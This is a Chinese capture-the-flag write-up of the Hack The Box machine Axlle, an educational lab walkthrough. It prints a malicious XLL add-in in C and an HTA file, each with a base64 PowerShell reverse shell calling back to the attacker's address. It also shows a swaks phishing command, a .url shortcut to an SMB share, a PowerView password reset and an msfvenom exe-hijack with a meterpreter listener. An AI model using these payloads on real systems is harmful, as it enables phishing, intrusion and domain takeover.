前言
今天的靶机依然是HTB(Hack The Box)的靶机--Axlle。通过这次的靶机训练,我们可以继续了解邮件钓鱼的攻击方式,也可以继续熟悉域渗透工具BloodHound的使用。
选择HTB的Axlle靶机,下载HTB的VPN。
将HTB的vpn文件put到kali中,使用命令 openvpn + ovpn文件路径 命令开启vpn连接。连接成功会在HTB网页右上角显示CONNECTIONS
2、扫描开放端口
使用nmap命令扫描开放端口:
nmap xxx.xxx.xxx.xxx -sV -sC -p- -T4 -Pn
列举几个比较重要的端口:25(smtp)、88(kerberos),135、593(RPC),139、445(SMB),389、3268、3269(Ldap)
3、寻找漏洞尝试利用
尝试smb匿名访问、ldapsearch匿名搜索:
因为开放了smtp服务,接下来尝试smtp用户枚举:
smtp用户枚举并没有什么发现,接下来将域名解析记录添加至/etc/hosts,尝试子域名扫描:
尝试路径爆破:
都没有什么发现后,只能回头看看80页面有没有什么功能,或者有什么遗漏的信息
其中有一个疑似邮件钓鱼的提示(并且 nmap 扫描结果也发现开放了25端口)可以向accounts@axlle.htb 发送 Excel格式内容的邮件。
尝试 excel 宏钓鱼,但是失败了。经过搜索,发现可以用 XLL 执行 Shellcode,(xll 跟靶机名称也符合)
https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/
下面就是构造一个xll文件,去执行shellcode。
https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xll-exec
先在kali中安装依赖:
生成反弹shell的shellcode(最终尝试用powershell版本成功):
结合之前博客给出的示例,编写expliot.c:
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
WinExec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA3ADcANwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==", 1);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将expliot.c编译为reverse.xll,命令如下:
x86_64-w64-mingw32-gcc -fPIC -shared -o reverse.xll exploit.c -luser32
通过 swaks 命令,将生成的reverse.xll 以附件形式发送邮件 到 accounts@axlle.htb
swaks --to accounts@axlle.htb --from it@axlle.htb --server 10.129.xxx.xxx --port 25 --header "Subject: reverse" --body "check" --attach @reverse.xll
kali先nc开启端口监听,待swaks发送邮件后就能拿到gideon.hamill用户的shell
在这个用户的目录下,并未发现Flag文件。
分析本地文件,发现邮件服务是hMailServer,在Data目录下会存放一些用户的邮件数据:
访问 Data\axlle.htb\dallon\matrix\2F 目录,发现一个邮件文件:
邮件上说 可以 往 C:\inetpub\testing 目录, 上传快捷方式 他们会测试自动化。因为邮件中也提示了“Yours in click-worthy URLs”,所以新建后缀为url的快捷方式。这边快捷方式的内容是通过文件共享访问 kali 的 shell.hta,hta文件可以直接在windows上运行,可以直接访问系统资源和文件,也可以执行系统命令。
创建名为 rev.url 的快捷方式并指向 file://10.10.xx.xx/share/shell.htb,我们将会在 10.10.xx.xx(kali内网ip) 上起一个 smb 服务,用于共享我们的 shell.hta 文件。
若没windows环境,也可以在kali创建快捷方式文件rev.url,内容为:
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
URL=file://10.10.xx.xx/share/shell.hta
创建shell.hta文件,hta 示例脚本的编写可以参考:https://gist.github.com/leoloobeek/31b2bbc5f129650c2a67bb40d14282ab
修改示例内容如下,其中 Shellcode内容为 Powershell 反弹 Shell,下列代码为 shell.hta 文件中的内容
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA2ADYANgA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
将创建的 rev.url 快捷方式文件、shell.hta 文件 放到同一目录下
kali在 shell.hta 所在的目录开启 smb 服务:
impacket-smbserver -smb2support share .
、
在rev.url所在目录开启http服务:
靶机进入 C:\inetpub\testing 目录 wget下载快捷方式文件 rev.url
在靶机下载快捷方式文件 rev.url 前,先 nc 开启端口监听,待 C:\inetpub\testing 目录下载rev.url 后就能成功拿到 dallon.matrix 用户的 shell
读取桌面目录(C:\Users\dallon.matrix/Desktop)下用户flag:
4、提权
上传 SharpHound 进行域内信息收集:
kali开启smb服务,将sharphound的结果上传到kali:
查看bloodhound的结果:
可以发现 web devs@AXXLLE.HTB 组 对用户 JACOB.GREENY 和 BAZ.HUMPHRIES 有 ForceChangePassword权限,可以修改用户 JACOB.GREENY 和 BAZ.HUMPHRIES 的密码
而当前获取的用户 dallon.matrix 在 WEB DEVS 组中
下载 PowerView.ps1 修改用户 JACOB.GREENY 和 BAZ.HUMPHRIES 的密码,接下来修改 JACOB.GREENY用户的密码
命令如下:
. ./PowerView.ps1
$pass = ConvertTo-SecureString 'Say!d12Lq3#56' -AsPlainText -Force
Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $pass
evil-winrm登录JACOB.GREENY
在 JACOB.GREENY 这个用户中,App Development\kbfiltr 目录下 有个README.md 文件
读取README.md
其中说到,会自动以SYSTEM身份运行 C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe
这疑似是个自动执行的任务,并且 standalonerunner.exe 是以 System 身份运行的。
进入目录
C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64
发现 standalonerunner.exe 可执行文件
icacls 查看文件的访问控制列表(ACLS)
I、表示 "继承"
R、表示 "读取" 权限(Read)
F:表示 "完全控制" 权限(Full control)
RX:表示 "读取和执行" 权限(Read and eXecute)
可以发现这个 exe 文件有完全控制权限
接下来就是 替换这个 exe(exe劫持),拿到管理员shell
msfvenom 生成反弹 shell 的exe文件,重命名为 standalonerunner.exe
利用msfconsole 开启端口监听
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set lhost 10.10.14.11; set lport 443; exploit"
靶机下载 msfvenom 生成的 standalonerunner.exe
成功获取 管理员 shell
读取 root flag
5、总结
这个靶机先是利用xll钓鱼获取gideon.hamill用户的shell,然后通过快捷方式钓鱼获取dallon.matrix 用户的shell,提权部分则是利用BloodHound进行域内信息收集,发现可以修改JACOB.GREENY 这个用户的密码,然后通过exe劫持拿到管理员权限。总体来说还是有些难度的,同时也挺有趣的。